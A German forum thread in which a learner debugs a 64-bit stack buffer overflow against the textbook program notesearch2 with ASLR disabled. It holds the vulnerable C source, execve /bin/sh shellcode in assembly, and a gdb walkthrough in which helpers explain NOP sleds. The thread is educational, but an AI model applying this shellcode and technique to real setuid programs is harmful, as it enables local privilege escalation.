Buffer overflow exploit auf 64-bit system funktioniert nicht

Hallo zusammen,
ich habe versucht einen Buffer overflow auszunutzen um Shellcode einzuschleusen.
Ich habe den Shellcode in einer Umgebungsvariablen abgelegt und und dann mithilfe des Programms getenvaddr die voraussichtliche Adresse der Umgebungsvariable bestimmt.
Dann habe ich diese Adresse 40 mal als Argument übergeben (und so in den buffer geschrieben).
Anstatt, dass der Shellcode ausgeführt wird, bekomme ich aber immer einen Segmentation fault.
Mache ich etwas grundsätzlich falsch?
ASLR und Stackprotection habe ich ausgeschaltet.
Ich habe Ubuntu 14.04 64-Bit.
Hoffe ihr könnt mir helfen.
mfg superolellit

Anhang anzeigen 4028
 
Gibt's zu deinem Exploit und zum verwundbaren Programm auch 'nen Source, oder sollen wir Kristallkugeln zu rate ziehen?
 
Ah, sorry hab ich vergessen...

Das verwundbare Programm notesearch2 gibt die Strings aus der Datei "note" aus, die der jeweilige Benutzer hineingeschrieben hat.
Code:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/note"

int print_notes(int, int, char *);   // note printing function
int find_user_note(int, int);        // seek in file for a note for user
int search_note(char *, char *);     // search for keyword function
void fatal(char *);                  // fatal error handler

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // file descriptor
    char searchstring[100];

    if(argc > 1)                        // If there is an arg
        strcpy(searchstring, argv[1]);   //   that is the search string
    else                                // otherwise
        searchstring[0] = 0;             //   search string is empty

    userid = getuid();
    fd = open(FILENAME, O_RDONLY);   // open the file for read-only access
    if(fd == -1)
        fatal("in main() while opening file for reading");

    while(printing)
        printing = print_notes(fd, userid, searchstring);
    printf("-------[ end of note data ]-------\n");
    close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string
// returns 0 at end of file, 1 if there are still more notes
int print_notes(int fd, int uid, char *searchstring) {
    int note_length;
    char byte=0, note_buffer[100];

    note_length = find_user_note(fd, uid);
    if(note_length == -1)  // if end of file reached
        return 0;           //   return 0

    int readResult = read(fd, note_buffer, note_length); // read note data

    if (readResult != note_length)
        fatal("in print_notes() while reading bytes");

    note_buffer[note_length] = 0;       // terminate the string

    if(search_note(note_buffer, searchstring)) // if searchstring found
        printf("%s", note_buffer);                    //   print the note
    return 1;
}

// A function to find the next note for a given userID
// returns -1 if the end of the file is reached
// otherwise it returns the length of the found note
int find_user_note(int fd, int user_uid) {
    int note_uid=-1;
    unsigned char byte;
    int length;
    long int initialPosition = 0;

    while(note_uid != user_uid) {  // loop until a note for user_uid is found
        if(read(fd, &note_uid, 4) != 4) // read the uid data
            return -1; // if 4 bytes aren't read, return end of file code
        if(read(fd, &byte, 1) != 1) // read the newline separator
         return -1;

        byte = length = 0;
        initialPosition = lseek(fd, 0, SEEK_CUR);
        while(byte != '\n') {  // figure out how many bytes to the end of line
            if(read(fd, &byte, 1) != 1) // read a single byte
                return -1;     // if byte isn't read, return end of file code
            length++;
        }
    }

    lseek(fd, initialPosition, SEEK_SET); // rewind file

    printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
    return length;
}

// A function to search a note for a given keyword
// returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword) {
    int i, keyword_length, match=0;

    keyword_length = strlen(keyword);
    if(keyword_length == 0)  // if there is no search string
        return 1;              // always "match"

    for(i=0; i < strlen(note); i++) { // iterate over bytes in note
        if(note[i] == keyword[match])  // if byte matches keyword
            match++;   // get ready to check the next byte
        else {        //   otherwise
            if(note[i] == keyword[0]) // if that byte matches first keyword byte
                match = 1;  // start the match count at 1
            else
                match = 0;  // otherwise it is zero
        }
        if(match == keyword_length) // if there is a full match
            return 1;   // return matched
    }
    return 0;  // return not matched
}
das Programm getenvaddr gibt die voraussichtliche Adresse einer Umgebungsvariablen aus
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char *ptr;

   if(argc < 3)
   {
      printf("Usage: %s <environment var> <target program name>\n", argv[0]);
      exit(0);
   }
   ptr = getenv(argv[1]);
   ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
   printf("%s will be at %p\n", argv[1], ptr);
}
Und hier noch der Assembler Code, den ich dann in die Shellcodebytes "übersetzt" habe und versucht habe einzuschleusen
Code:
BITS 64

global _start
section .text
      
_start:
    xor rdi,rdi     ; rdi null
    push rdi        ; null
    push rdi        ; null
    pop rsi         ; argv null
    pop rdx         ; envp null
    mov rdi,0x68732f6e69622f2f ; hs/nib//
    shr rdi,0x08    ; no nulls, so shr to get \0
    push rdi        ; \0hs/nib/
    push rsp      
    pop rdi         ; pointer to arguments
    push 0x3b       ; execve
    pop rax         
    syscall         ; make the call
Das müsste es gewesen sein. Tut mir leid, dass ichs erst vergessen hatte...
 
Das müsste es gewesen sein. Tut mir leid, dass ichs erst vergessen hatte...
*hust* z.B fehlt noch "hacking.h" sowie Compiler/Assembler Version samt benutzten Optionen, ggf. die benutzte Anleitung und wie ASLR/NX konkret "deaktiviert" werden ;)


Tipp 1:
Smashing the Stack in 2011 | my 20%
www.exploit-db.com/wp-content/themes/exploit/docs/33698.pdf
Stack frame layout on x86-64 - Eli Bendersky's website

Tipp 2: nicht alles auf einmal ausprobieren: zuerst sollte man sicherstellen, dass der Shellcode überhaupt lauffähig ist, dann vielleicht ganz ohne "Overflow" - also "bewusst" aus dem Programm heraus ausführen - und erst zum Schluss "exploiten"

Tipp 3: debugger ;)
 
Oh... ja, stimmt.

hier ist hacking.h
Code:
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
// A function to display an error message and then exit 
void fatal(char *message) { 
   char error_message[100]; 
 
   strcpy(error_message, "[!!] Fatal Error "); 
   strncat(error_message, message, 83); 
   perror(error_message); 
   exit(-1); 
} 
 
// An error checked malloc() wrapper function 
void *ec_malloc(unsigned int size) { 
   void *ptr; 
   ptr = malloc(size); 
   if(ptr == NULL) 
      fatal("in ec_malloc() on memory allocation"); 
   return ptr; 
} 
 
// dumps raw memory in hex byte and printable split format 
void dump(const unsigned char *data_buffer, const unsigned int length) { 
    unsigned char byte; 
    unsigned int i, j; 
    for(i=0; i < length; i++) { 
        byte = data_buffer[i]; 
        printf("%02x ", data_buffer[i]);  // display byte in hex 
        if(((i%16)==15) || (i==length-1)) { 
            for(j=0; j < 15-(i%16); j++) 
                printf("   "); 
            printf("| "); 
            for(j=(i-(i%16)); j <= i; j++) {  // display printable bytes from line 
                byte = data_buffer[j]; 
                if((byte > 31) && (byte < 127)) // outside printable char range 
                    printf("%c", byte); 
                else 
                    printf("."); 
            } 
            printf("\n"); // end of the dump line (each line 16 bytes) 
        } // end if 
    } // end for 
}


ich benutze den gcc-Compiler, der auf Ubuntu 14.04 von Anfang an dabei war und nasm als Assembler. Wie ich kompiliert und ASLR ausgeschaltet hab ist in dem Screenshot zu sehen.
Als Anleitung habe ich das Buch "Hacking - Die Kunst des Exploits" verwendet, allerdings mit einem anderen Shellcode. Das Buch ist schon ein wenig älter, darum gibt es eine Aktualisierungswebsite, allerdings auch nur für 32-Bit (hacking - Die Kust des Exploits - the art of Exploits).
Den Shellcode habe ich getestet, der funktioniert.
Ich werde mir mal die Links ansehen, die du geschrieben hast und den Debugger zu rate ziehen.

Anhang anzeigen 4029
 
Kurze Anmerkung:
ich benutze den gcc-Compiler, der auf Ubuntu 14.04 von Anfang an dabei war und nasm als Assembler.
Es ist zwar in diesem Fall nicht sooo wichtig, aber die meisten Programme bieten eine "-v" bzw. "--version" Option. Damit müssen die "Etwas-anderes-als-Ubuntu-14.04/Arch/Wasauchimmer-xyz"-Nutzer nicht raten/nachschlagen, welche Programmversion die jeweiligen Maintainer als Default für ihre Distribution festlegen ;)
Z.B verfügbare gcc Versionen:
Code:
pkg search "^gcc"
gcc-4.8.3_2
gcc-aux-20140716
gcc-ecj-4.5
gcc46-4.6.4_4,1
gcc47-4.7.4_2,1
gcc47-aux-20140612_1
gcc48-4.8.4.s20141016
gcc49-4.9.2.s20141015
gcc5-5.0.s20141005

Außerdem: spricht etwas dagegen, die Ausgabe aus dem Terminalemulator direkt zu posten, statt umständlich Screenshots zu erstellen und hochzuladen? :confused:

Zum Problem:

0) entschließt sich mir ehrlich gesagt der Sinn von "*2" in
getaddr.c
Code:
ptr += (strlen(argv[0]) - strlen(argv[2]))[COLOR="Red"]*2[/COLOR];

1) wir erstellen mal ein neues Programm:
Code:
[color=#557799]#include <stdio.h>
#include <stdlib.h>
#include <string.h>
[/color]
[color=#333399][b]int[/b][/color] 
[color=#0066BB][b]main[/b][/color]([color=#333399][b]int[/b][/color] argc, [color=#333399][b]char[/b][/color] [color=#333333]*[/color]argv[]) 
{
   [color=#333399][b]char[/b][/color] [color=#333333]*[/color]ptr [color=#333333]=[/color] [color=#007020]NULL[/color];
   [color=#333399][b]char[/b][/color] [color=#333333]*[/color]endp [color=#333333]=[/color] [color=#007020]NULL[/color];
   [color=#008800][b]if[/b][/color](argc [color=#333333]<[/color] [color=#0000DD][b]3[/b][/color]) {
       printf("%s @ %p[color=#666666][b]\n[/b][/color]", getenv("SHELLCODE"), getenv("SHELLCODE"));
       printf("Usage: %s <environment var addr> <environment var", argv[[color=#0000DD][b]0[/b][/color]]);
       exit([color=#0000DD][b]0[/b][/color]);
   }
   ptr [color=#333333]=[/color] ([color=#333399][b]char[/b][/color][color=#333333]*[/color]) strtoull(argv[[color=#0000DD][b]1[/b][/color]], [color=#333333]&[/color]endp, [color=#0000DD][b]0[/b][/color]);
   [color=#008800][b]if[/b][/color] ([color=#333333]*[/color]endp [color=#333333]!=[/color] [color=#0044DD]'\0'[/color]) {
       printf("Bad input: %s", endp);
       exit([color=#0000DD][b]0[/b][/color]);
   }
   printf("%s @ %p vs. %p[color=#666666][b]\n[/b][/color]", argv[[color=#0000DD][b]2[/b][/color]], getenv(argv[[color=#0000DD][b]2[/b][/color]]), ptr);
   printf("Values @%p: %s", ptr, ptr);
   getchar();
   [color=#008800][b]return[/b][/color] [color=#0000DD][b]0[/b][/color];
}
Code:
~/projects/habo/14.11.14 % cc -std=c99 -pedantic tstenvaddr.c -o tstenvaddr
wir haben nun "getenvaddr"und "tstenvarddr" (die Namen sind gleich lang, damit die Berechnung bei 0) nicht dazwischen kommt ;) )
"tstenvaddr" nimmt entweder Variablenadresse und Namen entgegen und gibt die "reale Adresse vs übergebene" samt den Werten an der übergeben Adresse aus oder,
falls keine Argumente übergeben wurden, wird (hardkodierte) Adresse samt Wert von "SHELLCODE" ausgegeben.

ASLR ist deaktiviert (achtung: es ist jetzt kein Ubuntu 14.04, die Ausgabe/Reihenfolge/Adressen muss auch nicht unbedingt übereinstimmen - aber es taugt als Beispiel ;) )

Erster Versuch:
Code:
CDW@highlander-jr:~/projects/habo/14.11.14 % [color=#007020]export [/color][color=#996633]SHELLCODE[/color][color=#333333]=[/color]"hello world shellcode"
CDW@highlander-jr:~/projects/habo/14.11.14 % ./getenvaddr SHELLCODE ./tstenvaddr
SHELLCODE will be at 0x7fffffffec6e
CDW@highlander-jr:~/projects/habo/14.11.14 % ./tstenvaddr 0x7fffffffec6e SHELLCODE
SHELLCODE @ 0x7fffffffec70 vs. 0x7fffffffec6e
Values @0x7fffffffec6e: [color=#996633]E[/color][color=#333333]=[/color]hello world shellcode
hm, fast ein Treffer (aber nur fast).

Zweiter Versuch:
Code:
CDW@highlander-jr:~/projects/habo/14.11.14 % ./tstenvaddr 0x7fffffffec6e SHELLCODE dummyarg1 dummyarg2
SHELLCODE @ 0x7fffffffec6c vs. 0x7fffffffec6e
Values @0x7fffffffec6e: llo world shellcode
CDW@highlander-jr:~/projects/habo/14.11.14 % ./tstenvaddr 0x7fffffffec6e SHELLCODE dummyarg1 dummyarg2 dummyarg3
SHELLCODE @ 0x7fffffffec6e vs. 0x7fffffffec6e
Values @0x7fffffffec6e: hello world shellcode
CDW@highlander-jr:~/projects/habo/14.11.14 % ./tstenvaddr 
hello world shellcode @ 0x7fffffffec6f
Usage: ./tstenvaddr <environment var addr> <environment var%

mal sehen, was GDB so sagt:
http://www.delorie.com/gnu/docs/gdb/gdb_56.html
(mit "x/nfu addr" lässt sich ein speicherbereich anzeigen)
Code:
.[color=#666666]/[/color]tstenvaddr [color=#666666]0x7fffffffec6e[/color] SHELLCODE[color=#666666]&[/color]
[[color=#666666]3[/color]] [color=#666666]30579[/color]

CDW@highlander[color=#666666]-[/color]jr[color=#666666]:~/[/color]projects[color=#666666]/[/color]habo[color=#666666]/[/color][color=#666666]14.11.14[/color] [color=#666666]%[/color] gdb78 [color=#666666]--[/color]pid [color=#666666]30579[/color]
[color=#666666]--[/color]snip[color=#666666]--[/color]
(gdb) x[color=#666666]/[/color][color=#666666]10[/color]sb [color=#666666]0x7fffffffec0e[/color]
[color=#666666]0x7fffffffec0e[/color][color=#666666]:[/color] [color=#BB4444]""[/color]
[color=#666666]0x7fffffffec0f[/color][color=#666666]:[/color] [color=#BB4444]""[/color]
[color=#666666]0x7fffffffec10[/color][color=#666666]:[/color] [color=#BB4444]"./tstenvaddr"[/color]
[color=#666666]0x7fffffffec1d[/color][color=#666666]:[/color] [color=#BB4444]"0x7fffffffec6e"[/color]
[color=#666666]0x7fffffffec2c[/color][color=#666666]:[/color] [color=#BB4444]"SHELLCODE"[/color]
[color=#666666]0x7fffffffec36[/color][color=#666666]:[/color] [color=#BB4444]"_=/home/CDW/projects/habo/14.11.14/./tstenvaddr"[/color]
[color=#666666]0x7fffffffec66[/color][color=#666666]:[/color] [color=#BB4444]"SHELLCODE=hello world shellcode"[/color]
[color=#666666]0x7fffffffec86[/color][color=#666666]:[/color] [color=#BB4444]"char="[/color]
[color=#666666]0x7fffffffec8c[/color][color=#666666]:[/color] [color=#BB4444]"OLDPWD=/home/CDW/projects/habo"[/color]
[color=#666666]0x7fffffffecab[/color][color=#666666]:[/color] [color=#BB4444]"PWD=/home/CDW/projects/habo/14.11.14"[/color]
(gdb) x[color=#666666]/[/color][color=#666666]10[/color]xw [color=#666666]0x7fffffffec0e[/color]
[color=#666666]0x7fffffffec0e[/color][color=#666666]:[/color] [color=#666666]0x2f2e0000[/color]      [color=#666666]0x65747374[/color]      [color=#666666]0x6461766e[/color]      [color=#666666]0x30007264[/color]
[color=#666666]0x7fffffffec1e[/color][color=#666666]:[/color] [color=#666666]0x66663778[/color]      [color=#666666]0x66666666[/color]      [color=#666666]0x36636566[/color]      [color=#666666]0x48530065[/color]
[color=#666666]0x7fffffffec2e[/color][color=#666666]:[/color] [color=#666666]0x434c4c45[/color]      [color=#666666]0x0045444f[/color]

------------------------
So:

1) Was sagt uns das im Bezug auf die Adressen der Umgebungsvariablen?
2) Was passiert, wenn der, weiter oben gepostete, Shellcode nicht exakt an der Startposition "getroffen" wird?
3) Was kann man dagegen tun? (Tipp: es hat etwas mit Rampen/schlittern/rutschen zu tun ;) )
 
Danke für deinen Beitrag CDW :)
Nein da spricht eigl. nichts dagegen, du hast Recht :)

0) Das *2 ist da, weil sich pro Byte Programmname die Adresse der Umgebungsvariable um 2 Byte verringert. Darum die Länge des Programmnamens mal 2.

Ich hab dein Programm mal ausprobiert, doch bei mir gibt es immer die gleiche Adresse aus, die auch getenvaddr ausgibt und der gespeicherte String wird auch nicht abgeschnitten.

Ich beantworte deine Fragen trotzdem:
1) Die Adressen sind dynamisch und ändern sich (je mehr Argumente, desto kleiner die Adresse
2) Dann kann er nicht ausgeführt werden, weil das Programm an eine beliebige Stelle im Shellcode springt und nicht an den Start
3) Adressen ausprobieren? Mit einer Schleife im Terminal?

mfg superolelli
 
0) Das *2 ist da, weil sich pro Byte Programmname die Adresse der Umgebungsvariable um 2 Byte verringert. Darum die Länge des Programmnamens mal 2.
Ich hab' hier en_US.UTF-8 Lokalisierung - und so wie es im gdb Dumpausschnitt ausschaut, ist das (mit 2 Bytes pro Zeichen des Programmnamens) eben nicht der Fall.

Ich beantworte deine Fragen trotzdem:
1) Die Adressen sind dynamisch und ändern sich (je mehr Argumente, desto kleiner die Adresse
Kommt ziemlich darauf an, wo genau die Argumente platziert werden. Afaik ist das "implementierungsspezifisch".
2) Dann kann er nicht ausgeführt werden, weil das Programm an eine beliebige Stelle im Shellcode springt und nicht an den Start
Und darauf hätte ich jetzt bei Deinem Problem getippt. Verschiebung um ein paar Byte kann auch die Instruktionen "ganz anders" werden lassen:
Code:
Anfang des Shellcodes:
48 31 FF 57 57

+1 Byte:
rasm2 -b 64 -D "31ff"  
0x00000000   2                     31ff  xor edi, edi   ; also wird rdi schon mal nicht komplett genullt

+2 Bytes:
rasm2 -b 64 -D "ff5757"  
0x00000000   3                   ff5757  call qword [rdi+0x57] ; ein Sprung in die Ungewissheit :)

+3 Bytes:
push rdi   ; wobei RDI nicht "genullt" wurde - lustige Effekte vorprogrammiert :)

3) Adressen ausprobieren? Mit einer Schleife im Terminal?
Nop-slides ;). Wobei auch Schleifen usw. prinzipiell ja OK wären.
Buffer overflow - Wikipedia, the free encyclopedia
also vor dem eigentlichen Shellcode ganz viele Nops anhängen:
Code:
nop nop nop .... nop nop shellcode
Dann hat man einen Shellcodeblock der Länge n an Adresse x und kann versuchen die Adresse (x+n/2) anzuspringen.
Da NOP Opcode = 90 => nur 1 Byte lang ist, ist es egal, wo genau man nun im Nop-Slide landet - es kann da nichts "misinterpretiert" werden.

Ein weiterer Trick: als erste Anweisung nach dem NOP-Slide im Shellcode ein "\xEB\xFE"" aka JMP $ (oder "foolabel: jmp foolabel - je nach Assemlydialekt) platzieren.
Dann bleibt der Code in dieser Schleife "hängen" und man kann in aller Ruhe mit dem Debugger attachen und schauen, was da los ist (ohne es von Anfang an im Debugger laufen lassen zu müssen und dadurch ggf. irgendwelche Adressverschiebungen und ähnliches in Kauf zu nehmen)
 
Vielen Dank für deine Antwort :)
Ich habe jetzt ein wenig mit dem gdb herumprobiert und es hat jetzt mit einer NOP-Sled funktioniert. Er ist also anscheinend vorher tatsächlich nicht genau an die richtige Adresse gesprungen.
Danke nochmal :)

mfg superolelli
 
Zurück
Oben